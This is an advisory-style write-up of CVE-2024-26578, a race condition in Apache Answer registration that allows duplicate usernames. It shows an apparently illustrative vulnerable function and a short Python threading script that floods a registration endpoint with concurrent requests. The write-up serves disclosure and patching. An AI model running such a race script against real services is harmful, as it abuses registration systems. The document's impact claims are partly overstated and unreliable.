CVE-2024-26578 - Race Condition Vulnerability in Apache Answer (up to version 1.2.1) Allows Multiple Account Creation with the Same Name

A race condition vulnerability (CVE-2024-26578) exists in Apache Answer up to version 1.2.1, which may allow an attacker to create multiple user accounts with the same name by sending repeated registration requests simultaneously. This vulnerability has been fixed in Apache Answer 1.2.5.

Content

A newly discovered race condition vulnerability, identified as CVE-2024-26578, affects Apache Answer releases up to version 1.2.1. This vulnerability, categorized as a Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') issue, may enable attackers to create multiple user accounts with the same name by exploiting the registration process.

When a user registers, if they concurrently submit numerous registrations using scripts, it is possible for multiple user accounts to be created with the same name simultaneously. This issue can lead to unauthorized access and violation of data privacy.

Here is an example of vulnerable code in the registration procedure

function registerNewUser(username, email, password) {
    if (checkIfUserExists(username)) {
        return 'User already exists';
    } else {
        createUser(username, email, password);
        return 'User successfully registered';
    }
}

In the code snippet above, there is no proper synchronization for checking and creating new users. As a result, if an attacker sends multiple registration requests at once, the checkIfUserExists() function may return false for multiple requests before the createUser() function is executed.

Exploit Details

To exploit this vulnerability, an attacker can use a script that sends multiple registration requests at the same time, bypassing the user existence check. This way, multiple user accounts with the same name can be created. Here's an example of an exploit script using Python:

import requests
import threading

def send_registration(username, email, password):
    data = {'username': username, 'email': email, 'password': password}
    response = requests.post('https://example.com/register';, data=data)
    print(response.text)

# Send 10 concurrent registration requests with the same username
for i in range(10):
    threading.Thread(target=send_registration, args=('victim', 'victim@example.com', 'victim_password')).start()

Solution and Recommendations

Apache Answer developers have addressed this vulnerability in version 1.2.5. Users are advised to upgrade their installations to this version or later to avoid attackers exploiting this issue.

Links to Original References

- CVE-2024-26578 - National Vulnerability Database
- Apache Answer 1.2.5 Changelog

Upgrade to Apache Answer version 1.2.5 or newer to protect against the CVE-2024-26578 race condition vulnerability, ensuring user accounts and data are secured.

Timeline

Published on: 02/22/2024 10:15:08 UTC
Last modified on: 02/22/2024 19:07:27 UTC